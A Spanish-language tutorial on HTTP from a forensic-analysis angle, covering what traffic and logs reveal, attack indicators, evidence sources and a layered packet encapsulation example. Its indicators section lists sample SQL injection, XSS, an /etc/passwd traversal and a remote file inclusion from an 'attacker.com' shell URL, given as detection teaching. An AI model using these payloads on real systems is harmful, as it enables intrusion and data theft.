¿Qué es HTTP?

HTTP, visto desde el prisma del análisis forense, se convierte en un río de migas digitales. Todo lo que un usuario hace en la web —clics, formularios, cargas, descargas, redirecciones— queda reflejado en forma de peticiones y respuestas. Para un analista forense, ese flujo es una fuente de verdad incómodamente sincera.

---

1. HTTP desde la perspectiva del Análisis Forense

HTTP (Hypertext Transfer Protocol) es el lenguaje de comunicación entre navegadores y servidores web. En condiciones normales es un protocolo simple, sin cifrar, basado en texto plano. Esa “simplicidad” lo convierte en un objetivo fantástico para la reconstrucción forense de actividades.

¿Por qué HTTP importa en un análisis forense?

HTTP expone tres elementos cruciales:

1. Qué hizo un usuario
   Las URLs visitadas describen intención, interés y acciones concretas.
   Un acceso a /wp-admin/ no es lo mismo que una visita a /index.html.
2. Qué envió un usuario
   Si no hay cifrado (HTTP a secas), el analista puede ver:
   • campos de formularios
   • parámetros en la URL
   • cookies
   • cabeceras personalizadas
   Son pruebas directas de actividad.
3. Qué devolvió el servidor
   Los códigos de estado (200, 404, 500…) cuentan historias:
   • ¿Se intentó acceder a un recurso prohibido? (403)
   • ¿Hubo intentos de escaneo? (404 repetidos)
   • ¿Hubo redirecciones sospechosas? (3xx)

En un entorno HTTPS el contenido se cifra, pero la metadata sigue hablando: SNI, IPs de destino, tamaño de paquetes, frecuencia de conexiones.

---

2. Qué puede analizar un forense dentro del tráfico HTTP

Cuando el tráfico está en claro (capturas PCAP, logs de proxy, almacenamientos en disco…), un analista puede reconstruir:

Peticiones

• Método usado (GET, POST, PUT…)
• URL completa con parámetros
• Cookies
• User-Agent
• Referer (muy útil para reconstruir navegación)
• Origen de la petición

Respuestas

• Códigos de estado
• Tipo de contenido (Content-Type)
• Descarga de ficheros
• Redirecciones (sirven para detectar phishing o malware)

Cuerpo (Body)

• Formularios enviados
• Archivos subidos
• Tokens
• Sesiones reutilizadas
• Comandos dentro de ataques (SQLi, XSS, LFI, RFI)

HTTP deja la puerta abierta a ver la anatomía completa del ataque.

---

3. Indicadores forenses típicos en HTTP

Un forense puede detectar patrones de ataque leyendo únicamente tráfico HTTP.

SQL Injection

Parámetros anómalos:

?id=1' OR '1'='1 ?id=1 UNION SELECT *

XSS

Cargas útiles visibles:

<script>alert('xss')</script>

LFI/RFI

?page=../../etc/passwd ?file=http://attacker.com/shell.txt

Attempts de fuerza bruta o escaneo

• secuencias largas de 404 (enumeración de rutas)
• accesos a /admin, /phpmyadmin, /wp-login.php
• múltiples POST fallidos a formularios de login

Exfiltración mediante HTTP

• subidas de archivos
• grandes volúmenes en POST
• parámetros larguísimos y codificados (Base64, hex, etc.)

HTTP se convierte en un diario de guerra para quien sabe leerlo.

---

4. Fuentes forenses relacionadas con HTTP

PCAPs

Capturas obtenidas con Wireshark/tcpdump → reconstrucción completa de la sesión.

Logs de servidor

• Apache: access.log y error.log
• Nginx: access.log y error.log
• IIS: logs W3C

Incluyen:

• IP origen
• timestamp
• método
• URL
• código de respuesta
• tamaño de respuesta
• User-Agent

Logs de proxy/IDS/IPS

• Squid
• Suricata
• Snort

Detectan patrones de ataque.

Carpetas temporales del navegador

Cuando no hay cifrado, muchos navegadores almacenaban recursos en caché → reconstrucción de contenido web visitado.

---

5. Qué valor aporta HTTP en un caso forense

HTTP permite:

Atribución

Qué IP hizo qué petición, cuándo, y hacia dónde.

Reconstrucción cronológica

Secuencia exacta de navegación.

Detección de actividad maliciosa

Scripts, comandos, payloads.

Derivación de intenciones

El tipo de URL buscada revela motivación y objetivos.

Prueba digital sólida

HTTP es fácil de interpretar y explicar en un informe pericial.

---

LAS CAPAS DE HTTP

En un recorrido típico, desde que un navegador lanza un GET hasta que el servidor responde un 200 OK, intervienen estas capas:

1. Capa de Aplicación (HTTP “de verdad”)
Aquí es donde vive el propio HTTP. Todo lo que son métodos (GET, POST…), cabeceras, cookies, códigos de estado, cuerpos JSON/HTML/lo-que-sea, ocurre aquí.
Es la capa donde se expresa la intención humana: “dame este recurso”, “aquí tienes mi formulario”, “acepto gzip”.

2. Capa de Transporte (TCP)
HTTP clásico usa TCP, que actúa como el mensajero meticuloso: garantiza que los datos lleguen en orden, completos y sin que nadie se pierda por el camino.
Aquí se negocia el 3-way handshake, se fragmentan segmentos, se controlan retransmisiones y se mantiene la conexión.

3. Capa de Red (IP)
IP es la guía turística poco habladora que solo sabe entregar paquetes. Se ocupa de mover esos segmentos TCP a través de routers, saltos, rutas posibles, usando direcciones IP.
No sabe nada de “GET /index.html”, solo sabe de “lleva este paquete a la 172.217.x.x”.

4. Capa de Enlace de Datos (Ethernet / Wi-Fi)
Aquí estamos en el nivel de los marcos (frames), las MACs, la detección de colisiones, los canales radioeléctricos…
Es la autopista física donde circulan los bits.

5. Capa Física
Aquí no hay cabeceras ni protocolos nobles. Solo voltajes, pulsos, ondas, fibras, fotones.
Es la capa donde HTTP desaparece por completo y solo quedan electrones corriendo nerviosos.

Ejemplo

Vamos a hacer un ejemplo muy visual, como si desmontáramos una muñeca rusa digital.
Imagina que tu navegador quiere pedir:

GET /login.html HTTP/1.1
Host: ejemplo.com

Ese texto tan inocente pasa por una cadena de capas. Te lo describo como si fuese un “viaje del paquete” de arriba abajo.

1. Capa de Aplicación (HTTP)

Aquí se construye el mensaje original:

GET /login.html HTTP/1.1
Host: ejemplo.com
User-Agent: Firefox
Accept: text/html

Todavía no hay números de puertos, ni IPs, ni MACs. Solo intención: “dame este recurso”.

2. Capa de Transporte (TCP)

HTTP se mete dentro de un segmento TCP. Ahora aparecen cosas como:

Puerto origen: 53214

Puerto destino: 80

Número de secuencia: 45500123

Flags: PSH, ACK

Ejemplo muy simplificado:

[`TCP HEADER] Src Port: 53214 Dst Port: 80 Seq: 45500123 Ack: 1209931001 [DATA] GET /login.html HTTP/1.1 Host: ejemplo.com`

3. Capa de Red (IP)

El segmento TCP se mete dentro de un paquete IP:

[IP HEADER]
Src IP: 192.168.1.50
Dst IP: 93.184.216.34
TTL: 64
Protocol: TCP
[TCP + HTTP DATA]

Esta capa ya sabe a qué dirección de Internet debe viajar.

4. Capa de Enlace (Ethernet / Wi-Fi)

Ahora se añade el frame Ethernet con MACs:

[ETHERNET HEADER]
Src MAC: C4:12:3B:AA:11:22
Dst MAC: 58:9C:FC:02:EE:10
Type: IPv4
[IP + TCP + HTTP]

Estas direcciones MAC son solo para el salto inmediato (por ejemplo, tu router).

5. Capa Física

El frame se convierte en:

Pulsos eléctricos (Ethernet),

Ondas electromagnéticas (Wi-Fi),

Fotones (fibra óptica).

En esta capa ya no vemos “GET /login.html”. Vemos señales que codifican bits.

Cada capa de la 1 a la 5 envuelve a la anterior:

[FÍSICA]
-> [ENLACE]
-> [IP]
-> [TCP]
-> [HTTP]

Si quieres ver esto “en vivo” puedes abrir Wireshark y filtra por http. Cuando haces clic en un paquete verás:

Ethernet II

Internet Protocol Version 4

Transmission Control Protocol

Hypertext Transfer Protocol

Cada uno anidado dentro del otro, como en este ejemplo que acabas de leer.